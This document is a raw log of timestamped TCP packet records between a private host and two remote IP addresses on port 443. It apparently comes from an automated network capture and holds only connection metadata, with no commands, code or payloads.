Oct 21, 2024 13:17:35.591069937 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.596435070 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.596746922 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.596772909 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.597096920 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.597103119 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.703437090 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.703577042 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.703712940 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.703905106 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.703923941 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.703934908 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.703939915 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.706583977 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.706615925 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.706757069 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.706926107 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.706938982 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.707892895 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.708018064 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.708180904 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.708180904 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.708180904 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.710573912 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.710599899 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.710685968 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.710931063 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.711014986 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.711029053 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.711163998 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.711311102 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.711361885 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.711361885 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.711384058 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.711396933 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.713371038 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.713390112 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.713490009 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.713610888 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.713620901 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.722136021 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.722206116 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.722259998 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.722266912 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.722318888 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.722361088 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.722589016 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.722599030 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.722606897 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.722610950 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.724801064 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.724812031 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.724868059 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.725019932 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.725029945 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.730081081 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.730302095 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.730361938 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.730421066 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.730421066 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.730457067 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.730465889 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.730474949 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.730479956 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.732450962 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.732460976 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.732600927 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.732795000 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:35.732805967 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:35.897149086 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:35.897161007 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:35.897190094 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:35.897254944 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:35.897263050 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:35.897300005 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:35.897325039 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:36.022569895 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.022597075 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.436399937 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.437125921 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.437144041 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.437582016 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.437587023 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.442269087 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.442689896 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.442718029 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.443069935 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.443077087 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.460027933 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.460489988 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.460881948 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.460922956 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.461124897 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.461142063 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.461246967 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.461252928 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.461577892 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.461584091 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.479396105 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.479878902 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.479897976 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.480272055 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.480276108 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.565336943 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.565598965 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.565654039 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.565778971 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.565948963 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.565963984 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.565998077 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.566004038 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.569116116 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.569161892 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.569272995 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.569550037 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.569565058 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.573223114 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.573323965 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.573486090 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.573527098 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.573534966 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.573568106 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.573571920 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.575778008 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.575809956 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.575881004 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.575998068 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.576009035 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.576905966 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:36.576917887 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:36.576972961 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:36.576992989 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:36.577004910 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:36.577033043 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:36.577049017 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:36.591912031 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.592072010 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.592425108 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.592539072 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.592560053 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.592571974 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.592577934 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.593502045 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.593601942 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.593758106 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.593853951 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.593858957 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.593868971 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.593873024 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.595271111 CEST	49846	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.595308065 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.595391989 CEST	49846	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.595510006 CEST	49846	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.595523119 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.595791101 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.595865011 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.595941067 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.596071959 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.596102953 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.610379934 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.610450983 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.610548973 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.610599041 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.610640049 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.610867023 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.610877991 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.610888004 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.610893011 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.613126993 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.613153934 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:36.613338947 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.613461971 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:36.613476038 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.237963915 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:37.237988949 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:37.238018036 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:37.238066912 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:37.238082886 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:37.238107920 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:37.238132000 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:37.312247038 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.314007998 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.314037085 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.314481020 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.314487934 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.324301958 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.325766087 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.325794935 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.326164961 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.326172113 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.335450888 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.339521885 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.339535952 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.340008020 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.340013981 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.346252918 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.346540928 CEST	49846	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.346558094 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.346914053 CEST	49846	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.346920013 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.350191116 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.350497961 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.350532055 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.351008892 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.351015091 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.446597099 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.447252035 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.447335958 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.447376013 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.447376013 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.447396040 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.447406054 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.450576067 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.450618029 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.450683117 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.450848103 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.450858116 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.465862036 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.466046095 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.466156006 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.466223955 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.466223955 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.466238976 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.466248035 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.469491959 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.469513893 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.469579935 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.470098972 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.470108986 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.472790003 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.472851038 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.472963095 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.473170996 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.473186970 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.473198891 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.473203897 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.476609945 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.476633072 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.476711035 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.476917982 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.476926088 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.483875990 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.483908892 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.483963013 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.484049082 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.484049082 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.484153032 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.484175920 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.484189034 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.484198093 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.487113953 CEST	49852	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.487143040 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.487227917 CEST	49852	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.487370968 CEST	49852	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.487384081 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.488445044 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.488523006 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.488605022 CEST	49846	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.488734007 CEST	49846	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.488743067 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.491169930 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.491209030 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.491288900 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.491549015 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:37.491560936 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:37.773947001 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:37.773961067 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:37.773991108 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:37.774082899 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:37.774097919 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:37.774142027 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:37.774723053 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:38.193943024 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.194762945 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.194798946 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.195112944 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.195118904 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.205545902 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.206115007 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.206136942 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.206557989 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.206562996 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.210207939 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.210958958 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.211035013 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.211373091 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.211388111 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.213515997 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.214236975 CEST	49852	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.214246988 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.215104103 CEST	49852	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.215117931 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.309962034 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:38.309976101 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:38.310010910 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:38.310082912 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:38.310108900 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:38.310127020 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:38.310178041 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:38.323750973 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.323821068 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.323956013 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.324461937 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.324461937 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.324485064 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.324496984 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.327430964 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.327466011 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.327569008 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.327763081 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.327776909 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.334804058 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.335053921 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.335242033 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.335350990 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.335700035 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.335700035 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.335714102 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.335721970 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.335927963 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.335947990 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.336416006 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.336422920 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.338332891 CEST	49855	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.338371992 CEST	443	49855	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.338689089 CEST	49855	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.338819981 CEST	49855	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.338829994 CEST	443	49855	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.342972994 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.343113899 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:38.343203068 CEST	49852	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.343281031 CEST	49852	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:38.343281031 CEST	49852	443	192.168.2.9	13.107.246.45
